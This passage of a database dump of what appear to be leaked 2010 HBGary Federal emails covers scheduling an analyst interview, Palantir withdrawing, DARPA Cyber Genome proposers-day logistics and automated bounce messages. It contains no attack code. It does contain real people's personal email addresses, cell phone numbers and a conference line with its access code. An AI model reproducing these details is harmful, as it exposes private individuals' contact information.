Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Fwd: Schedule Interview with The 451 Group analyst Paul RobertsTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, January 26, 2010, 6:15 PM\r\n\r\nHmmm pulled to soon. &nbsp;Let me know if it\'s still of interest to Paul if it\'s just me.\r\n\r\nAaronFrom my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Matthew Steckman &lt;msteckman@palantirtech.com&gt;Date: January 26, 2010 9:06:03 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: Schedule Interview with The 451 Group\r\n analyst Paul Roberts\r\n\r\n\r\n\r\n\r\nYoure telling me.&nbsp; I just shot an email to my peeps about the interview tomorrow.&nbsp; We are going to bow out on the 451 interview L My PR team tells me that we are pretty selective when it comes to interview stuff (this is a whole new world to me so I didn’t know, my bad for saying we were in today).\r\n&nbsp;\r\nAs far as the Wired thing, that’s pretty awesome.&nbsp; Would it be for the magazine or for one of their security blogs?&nbsp; &nbsp;&nbsp;\r\n&nbsp; \r\n\r\nMatthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com | 202-257-2270\r\n&nbsp; \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, January 26, 2010 8:08 PMTo: Matthew SteckmanSubject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\n&nbsp; \r\n\r\nAlso. &nbsp;We are talking with wired magazine about the whole malware genome and digital DNA thing. &nbsp;We will be talking about the threat intelligence effort and our partnership.\r\n\r\n&nbsp;\r\n\r\nIt\'s been a busy day.\r\n\r\n&nbsp;\r\n\r\nAaronFrom my iPhone\r\n\r\nOn Jan 26, 2010, at 8:01 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\nHaha, wow, right, thanks.\r\n&nbsp; \r\n\r\nMatthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com | 202-257-2270\r\n&nbsp; \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, January 26, 2010 8:01 PMTo: Matthew SteckmanSubject: Fwd: Schedule Interview with The 451 Group analyst Paul Roberts\r\n&nbsp; \r\n\r\nLolFrom my iPhone\r\n\r\nBegin forwarded message:\r\n\r\n\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Date: January 26, 2010 10:44:43 AM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Aaron.&nbsp;As soon as you hear back from Palantir, please let me know.&nbsp;Paul would like to do the call as soon as possible.&nbsp;In the meantime, I\'ll look forward to your updates re the consortium. Best, Karen\r\n\r\n&nbsp;\r\n\r\n- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with The 451 Group analyst Paul RobertsTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, January 26, 2010, 5:20 AM \r\n\r\nKaren, \r\n\r\n&nbsp;\r\n\r\nThanks. &nbsp;I am checking if Palantir can support this. &nbsp;I would like to do this interview and can support in the nexst few days.\r\n\r\n&nbsp;\r\n\r\nAs I mentioned to you, today is our kickoff meeting for our Cyber Intelligence Consortium, where I am bringing the best of breed companies together to develop a full-spectrum cyber intelligence capability. &nbsp;I am getting very positive feedback from folks I talk to you about this endeavor. &nbsp; So I would like to work with you to develop the next press release for this effort.\r\n\r\n&nbsp;\r\n\r\nI think we should have the Operating agreement signed today and have worked some initial numbers, or should I say Ted worked in some initial numbers of hours for your support. &nbsp;I should be able to discuss that with you today or tomorrow.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nAaron\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\nOn Jan 25, 2010, at 5:00 PM, Karen Burke wrote:\r\n&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, The 451 Group analyst Paul Roberts,a security industry analyst,&nbsp;would like to speak to both you and Palantir regarding your announcement today. It would be great if we could schedule it the next few days with both you and a Palantir spokesperson.&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\nBackground: Penny and Greg Hoglund recently did a corporate&nbsp;update briefing with Paul on HBGary -- prior to when we announced HBGary Federal. The opportunity here would be to provide Paul with a&nbsp;brief overview of HBGary Federal and specifics on the announcement. He will be publishing a report on e-Crime next month and plans to include HBGary in the report. Most likely, he may use this interview to include in the report; write a separate briefing&nbsp; note; or blog about on his 451 Group blog, Plausible Deniability.\r\n\r\n&nbsp;\r\n\r\nPlease let me know how you want to pursue. Best, Karen\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n&nbsp; \r\n&nbsp; \r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n',12464,'aaron_hbgary_com/12464.html'),(1594,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000478.M735877P3547Q1594.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Schedule Interview with The 451 Group analyst Paul Roberts','Thanks.On Jan 27, 2010, at 10:13 AM, Karen Burke wrote:Hi Aaron, I am waiting for Paul to confirm interview time today -- it is tentatively scheduled for&nbsp;&nbsp;&nbsp; &nbsp;3 PM ET.&nbsp; I am leaving shortly for an offsite so most likely will not be able to participate on the call, alas. They will send us a dial-in.&nbsp;Best, Karen\r\n--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with The 451 Group analyst Paul RobertsTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, January 26, 2010, 7:04 PM\r\n\r\nAgreed. &nbsp;That\'s what I was elluding to ineffectively.\r\n\r\nAaronFrom my iPhone\r\nOn Jan 26, 2010, at 10:02 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I\'d like to go ahead and schedule you and just tell Paul that Palantir&nbsp;can\'t do the call&nbsp;over the next few days.&nbsp;Paul won\'t be happy if we&nbsp;schedule Palantir and&nbsp;he doesn\'t come on the line.&nbsp;&nbsp;--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with The 451 Group analyst Paul RobertsTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, January 26, 2010, 6:37 PM\r\n\r\nMaybe we could tell them the guy at palantir wasn\'t available last minute. :)From my iPhone\r\nOn Jan 26, 2010, at 9:35 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nOkay thanks Aaron -- are you fairly available tomorrow?--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Fwd: Schedule Interview with The 451 Group analyst Paul RobertsTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, January 26, 2010, 6:15 PM\r\n\r\nHmmm pulled to soon. &nbsp;Let me know if it\'s still of interest to Paul if it\'s just me.\r\n\r\nAaronFrom my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Matthew Steckman &lt;msteckman@palantirtech.com&gt;Date: January 26, 2010 9:06:03 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: Schedule Interview with The 451 Group\r\n analyst Paul Roberts\r\n\r\n\r\n\r\nYoure telling me.&nbsp; I just shot an email to my peeps about the interview tomorrow.&nbsp; We are going to bow out on the 451 interview L My PR team tells me that we are pretty selective when it comes to interview stuff (this is a whole new world to me so I didn’t know, my bad for saying we were in today).&nbsp;As far as the Wired thing, that’s pretty awesome.&nbsp; Would it be for the magazine or for one of their security blogs?&nbsp; &nbsp;&nbsp;\r\n&nbsp; \r\nMatthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com | 202-257-2270&nbsp; \r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, January 26, 2010 8:08 PMTo: Matthew SteckmanSubject: Re: Schedule Interview with The 451 Group analyst Paul Roberts&nbsp; \r\nAlso. &nbsp;We are talking with wired magazine about the whole malware genome and digital DNA thing. &nbsp;We will be talking about the threat intelligence effort and our partnership.\r\n&nbsp;\r\nIt\'s been a busy day.\r\n&nbsp;\r\nAaronFrom my iPhone\r\nOn Jan 26, 2010, at 8:01 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:\r\n\r\n\r\nHaha, wow, right, thanks.&nbsp; \r\nMatthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com | 202-257-2270&nbsp; \r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, January 26, 2010 8:01 PMTo: Matthew SteckmanSubject: Fwd: Schedule Interview with The 451 Group analyst Paul Roberts&nbsp; \r\nLolFrom my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Date: January 26, 2010 10:44:43 AM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Aaron.&nbsp;As soon as you hear back from Palantir, please let me know.&nbsp;Paul would like to do the call as soon as possible.&nbsp;In the meantime, I\'ll look forward to your updates re the consortium. Best, Karen\r\n&nbsp;\r\n- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with The 451 Group analyst Paul RobertsTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, January 26, 2010, 5:20 AM \r\nKaren, \r\n&nbsp;\r\nThanks. &nbsp;I am checking if Palantir can support this. &nbsp;I would like to do this interview and can support in the nexst few days.\r\n&nbsp;\r\nAs I mentioned to you, today is our kickoff meeting for our Cyber Intelligence Consortium, where I am bringing the best of breed companies together to develop a full-spectrum cyber intelligence capability. &nbsp;I am getting very positive feedback from folks I talk to you about this endeavor. &nbsp; So I would like to work with you to develop the next press release for this effort.\r\n&nbsp;\r\nI think we should have the Operating agreement signed today and have worked some initial numbers, or should I say Ted worked in some initial numbers of hours for your support. &nbsp;I should be able to discuss that with you today or tomorrow.\r\n&nbsp;\r\nThanks,\r\nAaron\r\n&nbsp;\r\n&nbsp;\r\n\r\nOn Jan 25, 2010, at 5:00 PM, Karen Burke wrote:&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, The 451 Group analyst Paul Roberts,a security industry analyst,&nbsp;would like to speak to both you and Palantir regarding your announcement today. It would be great if we could schedule it the next few days with both you and a Palantir spokesperson.&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\nBackground: Penny and Greg Hoglund recently did a corporate&nbsp;update briefing with Paul on HBGary -- prior to when we announced HBGary Federal. The opportunity here would be to provide Paul with a&nbsp;brief overview of HBGary Federal and specifics on the announcement. He will be publishing a report on e-Crime next month and plans to include HBGary in the report. Most likely, he may use this interview to include in the report; write a separate briefing&nbsp; note; or blog about on his 451 Group blog, Plausible Deniability.\r\n\r\n&nbsp;\r\n\r\nPlease let me know how you want to pursue. Best, Karen\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n&nbsp; \r\n&nbsp; \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n&nbsp;&nbsp;&nbsp;\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14128,'aaron_hbgary_com/14128.html'),(1595,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000479.M805938P3547Q1595.eml','\"Aaron Barr\" <aaron@hbgary.com>','pdf','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1661,'aaron_hbgary_com/1661.html'),(1596,'2010-01-27','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297000480.M243387P3547Q1597.eml','aaron@hbgary.com','Document Status','\r\n\r\nDocuments Status\r\n\r\n\r\n\r\n\r\nAn email with the following attachments was received on Wed, Jan 27, \'10 at 3:16 PM from aaron@hbgary.com.\r\n \r\n\r\n\r\n\r\n\r\nUnfortunately, there were not any valid attachments.  Zosh can only process PDF attachments.  Please resend your attachment in a new email to mydocs@zosh.com\'.\r\n\r\n\r\n\r\n			  \r\nThank you for using Zosh.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15305,'aaron_hbgary_com/15305.html'),(1597,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000480.M53873P3547Q1596.eml','\"Zosh\" <mydocs@zosh.com>','Fwd: pdf','From my iPhoneBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: January 27, 2010 10:16:18 AM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: pdf\r\nAaron BarrCEOHBGary Federal Inc.\r\n',12078,'aaron_hbgary_com/12078.html'),(1598,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000480.M858866P3547Q1598.eml','\"Zosh\" <mydocs@zosh.com>','pdf','\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11160,'aaron_hbgary_com/11160.html'),(1599,'2010-01-27','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297000481.M73915P3547Q1599.eml','aaron@hbgary.com','Unknown Zosh Account: aaron@hbgary.com','\r\n\r\nUnknown Zosh Account\r\n\r\n\r\n\r\n\r\nAn email was received on Wed, Jan 27, \'10 at 3:18 PM from aaron@hbgary.com.\r\n\r\n\r\n\r\nUnfortunately, the e-mail address aaron@hbgary.com is not registered with Zosh.  In order for documents to show up in your Zosh application, please\r\nsend documents from the e-mail address registered with Zosh. \r\n\r\n\r\n\r\nNote:  It is a common problem for users with an aliased account. For instance, sometimes those with mac.com addresses send e-mails from their me.com address.  \r\nWe are working to provide a mechanism for you to associate multiple e-mail addresses with your account.  \r\n\r\n\r\n\r\nPlease try sending your documents again with the e-mail registered with Zosh.\r\n\r\n			  \r\nThank you for using Zosh.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3827,'aaron_hbgary_com/3827.html'),(1600,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000484.M117192P3547Q1600.eml','\"Zosh\" <mydocs@zosh.com>','pdf','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5911,'aaron_hbgary_com/5911.html'),(1601,'2010-01-27','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297000484.M399857P3547Q1601.eml','aaron@hbgary.com','Unknown Zosh Account: aaron@hbgary.com','\r\n\r\nUnknown Zosh Account\r\n\r\n\r\n\r\n\r\nAn email was received on Wed, Jan 27, \'10 at 3:19 PM from aaron@hbgary.com.\r\n\r\n\r\n\r\nUnfortunately, the e-mail address aaron@hbgary.com is not registered with Zosh.  In order for documents to show up in your Zosh application, please\r\nsend documents from the e-mail address registered with Zosh. \r\n\r\n\r\n\r\nNote:  It is a common problem for users with an aliased account. For instance, sometimes those with mac.com addresses send e-mails from their me.com address.  \r\nWe are working to provide a mechanism for you to associate multiple e-mail addresses with your account.  \r\n\r\n\r\n\r\nPlease try sending your documents again with the e-mail registered with Zosh.\r\n\r\n			  \r\nThank you for using Zosh.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15065,'aaron_hbgary_com/15065.html'),(1602,'2010-01-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000484.M589988P3547Q1602.eml','\"Blankenship, Larry (contr-sto)\" <Larry.Blankenship.ctr@darpa.mil>','Re: Cyber Genome Proposers Day','Mr Blankenship,\r\n\r\nI\'m not sure where the confusion originates, but there is no\r\naffiliation between HBGary and Raytheon.  Did something or someone\r\nsuggest otherwise?\r\n\r\nTed Vera\r\n\r\nOn Wed, Jan 27, 2010 at 6:23 AM, Blankenship, Larry (contr-sto)\r\n wrote:\r\n> Greetings Mr. Vera and Mr. Stoopin,\r\n>\r\n> After reviewing the individual session requests, we realized that your company has two slots (Raytheon & HBGary).  Please coordinate between your company and provide a single POC for the individual session requests.  I will hold the 1400-1430 slot awaiting your decision, but will place the 1430-1500 slot back into the pool.\r\n>\r\n> Additionally, please note that attendance to the proposer\'s day itself may be limited to three individuals per organization.\r\n>\r\n> I apologize for any confusion in this matter.  Please feel free to call me to discuss further.\r\n>\r\n> V/r\r\n>\r\n> Larry Blankenship\r\n> SETA DARPA/STO\r\n> 703-248-1511\r\n>\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Blankenship, Larry (contr-sto)\r\n> Sent: Wednesday, January 27, 2010 7:48 AM\r\n> To: \'Ted Vera\'\r\n> Cc: Moore, Renee (contr-sto)\r\n> Subject: RE: Cyber Genome Proposers Day\r\n>\r\n> Greetings Mr. Vera,\r\n>\r\n> I have your company scheduled from 1430-1500 with Dr. VanPutte.  Please limit your conversation to the time allotted as Dr. VanPutte wants to be fair to all visitors.  To assist in keeping your ideas in line with DARPA\'s objectives, and to make your discussion as enriching as possible, may I suggest you canvas your ideas against the Heilmeier Catechism prior to your arrival;\r\n>\r\n> -What are you trying to do? Articulate your objectives using absolutely no jargon.\r\n> -How is it done today, and what are the limits of current practice?\r\n> -What\'s new in your approach and why do you think it will be successful?\r\n> -Who cares? If you\'re successful, what difference will it make?\r\n> -What are the risks and the payoffs?\r\n> -How much will it cost? How long will it take?\r\n> -What are the midterm and final \"exams\" to check for success?\r\n>\r\n> I am looking forward to seeing you at the proposer\'s day.\r\n>\r\n> V/r\r\n>\r\n> Larry\r\n>\r\n> Larry Blankenship\r\n> SETA/DARPA STO\r\n> 703-248-1511\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Tuesday, January 26, 2010 6:15 PM\r\n> To: Blankenship, Larry (contr-sto)\r\n> Subject: Cyber Genome Proposers Day\r\n>\r\n> Hello Mr. Blankenship,\r\n>\r\n> HBGary would like to schedule and individual session with Dr. VanPutte to discuss the Cyber Genome Project after the February 9th Proposers day.\r\n>\r\n>\r\n> Regards,\r\n> Ted Vera\r\n>\r\n>\r\n> Ted H. Vera\r\n> President | COO\r\n> HB Gary Federal\r\n> ted@hbgary.com\r\n> Office:  916-459-4727 ext 118\r\n> Cell:  719-237-8623\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n',6728,'aaron_hbgary_com/6728.html'),(1603,'2010-01-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000484.M835184P3547Q1603.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: OK Sanity Check','No, absolutely not!\r\n\r\nOn Wed, Jan 27, 2010 at 6:07 AM, Aaron Barr  wrote:\r\n> Should I send a note to Kathy?\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n',12132,'aaron_hbgary_com/12132.html'),(1604,'2010-01-27','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000485.M22475P3547Q1604.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Schedule Interview with The 451 Group analyst Paul Roberts','Hi Aaron, The call is confirmed now for 2 PM ET. Please use this dial-in: \r\n&nbsp;\r\nConference line: 712-432-0850\r\nAccess code: 598522#\r\n&nbsp;\r\nHopefully, I should be able to dial-in at that time as well.&nbsp;&nbsp;I\'ll pull together a briefing sheet for you in the next hour before I leave. Thanks Aaron. Karen--- On Wed, 1/27/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with The 451 Group analyst Paul RobertsTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Wednesday, January 27, 2010, 7:14 AM\r\nThanks.\r\n\r\n\r\nOn Jan 27, 2010, at 10:13 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I am waiting for Paul to confirm interview time today -- it is tentatively scheduled for&nbsp;&nbsp;&nbsp; &nbsp;3 PM ET.&nbsp; I am leaving shortly for an offsite so most likely will not be able to participate on the call, alas. They will send us a dial-in.&nbsp;Best, Karen\r\n--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with The 451 Group analyst Paul RobertsTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, January 26, 2010, 7:04 PM\r\n\r\nAgreed. &nbsp;That\'s what I was elluding to ineffectively.\r\n\r\nAaronFrom my iPhone\r\nOn Jan 26, 2010, at 10:02 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I\'d like to go ahead and schedule you and just tell Paul that Palantir&nbsp;can\'t do the call&nbsp;over the next few days.&nbsp;Paul won\'t be happy if we&nbsp;schedule Palantir and&nbsp;he doesn\'t come on the line.&nbsp;&nbsp;--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with The 451 Group analyst Paul RobertsTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, January 26, 2010, 6:37 PM\r\n\r\nMaybe we could tell them the guy at palantir wasn\'t available last minute. :)From my iPhone\r\nOn Jan 26, 2010, at 9:35 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nOkay thanks Aaron -- are you fairly available tomorrow?--- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Fwd: Schedule Interview with The 451 Group analyst Paul RobertsTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, January 26, 2010, 6:15 PM\r\n\r\nHmmm pulled to soon. &nbsp;Let me know if it\'s still of interest to Paul if it\'s just me.\r\n\r\nAaronFrom my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Matthew Steckman &lt;msteckman@palantirtech.com&gt;Date: January 26, 2010 9:06:03 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: Schedule Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\n\r\n\r\nYoure telling me.&nbsp; I just shot an email to my peeps about the interview tomorrow.&nbsp; We are going to bow out on the 451 interview L My PR team tells me that we are pretty selective when it comes to interview stuff (this is a whole new world to me so I didn’t know, my bad for saying we were in today).\r\n&nbsp;\r\nAs far as the Wired thing, that’s pretty awesome.&nbsp; Would it be for the magazine or for one of their security blogs?&nbsp; &nbsp;&nbsp; \r\n&nbsp; \r\n\r\nMatthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com | 202-257-2270\r\n&nbsp; \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, January 26, 2010 8:08 PMTo: Matthew SteckmanSubject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\n&nbsp; \r\n\r\nAlso. &nbsp;We are talking with wired magazine about the whole malware genome and digital DNA thing. &nbsp;We will be talking about the threat intelligence effort and our partnership.\r\n\r\n&nbsp;\r\n\r\nIt\'s been a busy day.\r\n\r\n&nbsp;\r\n\r\nAaronFrom my iPhone\r\n\r\nOn Jan 26, 2010, at 8:01 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\nHaha, wow, right, thanks.\r\n&nbsp; \r\n\r\nMatthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com | 202-257-2270\r\n&nbsp; \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, January 26, 2010 8:01 PMTo: Matthew SteckmanSubject: Fwd: Schedule Interview with The 451 Group analyst Paul Roberts\r\n&nbsp; \r\n\r\nLolFrom my iPhone\r\n\r\nBegin forwarded message:\r\n\r\n\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Date: January 26, 2010 10:44:43 AM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with The 451 Group analyst Paul Roberts\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Aaron.&nbsp;As soon as you hear back from Palantir, please let me know.&nbsp;Paul would like to do the call as soon as possible.&nbsp;In the meantime, I\'ll look forward to your updates re the consortium. Best, Karen\r\n\r\n&nbsp;\r\n\r\n- On Tue, 1/26/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with The 451 Group analyst Paul RobertsTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, January 26, 2010, 5:20 AM \r\n\r\nKaren, \r\n\r\n&nbsp;\r\n\r\nThanks. &nbsp;I am checking if Palantir can support this. &nbsp;I would like to do this interview and can support in the nexst few days.\r\n\r\n&nbsp;\r\n\r\nAs I mentioned to you, today is our kickoff meeting for our Cyber Intelligence Consortium, where I am bringing the best of breed companies together to develop a full-spectrum cyber intelligence capability. &nbsp;I am getting very positive feedback from folks I talk to you about this endeavor. &nbsp; So I would like to work with you to develop the next press release for this effort.\r\n\r\n&nbsp;\r\n\r\nI think we should have the Operating agreement signed today and have worked some initial numbers, or should I say Ted worked in some initial numbers of hours for your support. &nbsp;I should be able to discuss that with you today or tomorrow.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nAaron\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\nOn Jan 25, 2010, at 5:00 PM, Karen Burke wrote:\r\n&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, The 451 Group analyst Paul Roberts,a security industry analyst,&nbsp;would like to speak to both you and Palantir regarding your announcement today. It would be great if we could schedule it the next few days with both you and a Palantir spokesperson.&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\nBackground: Penny and Greg Hoglund recently did a corporate&nbsp;update briefing with Paul on HBGary -- prior to when we announced HBGary Federal. The opportunity here would be to provide Paul with a&nbsp;brief overview of HBGary Federal and specifics on the announcement. He will be publishing a report on e-Crime next month and plans to include HBGary in the report. Most likely, he may use this interview to include in the report; write a separate briefing&nbsp; note; or blog about on his 451 Group blog, Plausible Deniability.\r\n\r\n&nbsp;\r\n\r\nPlease let me know how you want to pursue. Best, Karen\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n&nbsp; \r\n&nbsp; \r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',13691,'aaron_hbgary_com/13691.html'),(1605,'2010-01-27','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1297000486.M729391P3547Q1605.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Just got the Army org chart for Cyber','Begin forwarded message:From: \"Winterfeld, Steven P (TASC Inc)\" &lt;steven.winterfeld@TASC.COM&gt;Date: January 27, 2010 7:27:08 AM MSTTo: Ted Vera &lt;tedvera@mac.com&gt;Subject: Just got the Army org chart for Cyber',1366,'aaron_hbgary_com/1366.html'),(1606,'2010-01-27','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000487.M394608P3547Q1607.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,,,,','Re: FW: Confirmation for DARPA\'s Cyber Genome Proposers Day 	Conference',' \r\nStanding by to determine if I need to fly out tommorow.\r\n \r\n-Greg\r\nOn Wed, Jan 27, 2010 at 7:11 AM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\nThe registration is open again for this Friday&#39;s meeting.  I justregistered.-----Original Message-----\r\nFrom: agrosvenor@sysplan.com [mailto:agrosvenor@sysplan.com]Sent: Wednesday, January 27, 2010 10:10 AMTo: rich@hbgary.com\r\nSubject: Confirmation for DARPA&#39;s Cyber Genome Proposers Day ConferenceThis is a confirmation notice for your registration to attend theDARPA&#39;s Cyber Genome Proposers Day Conference.  Details of your registration\r\nappear below.Thank You,   for using the 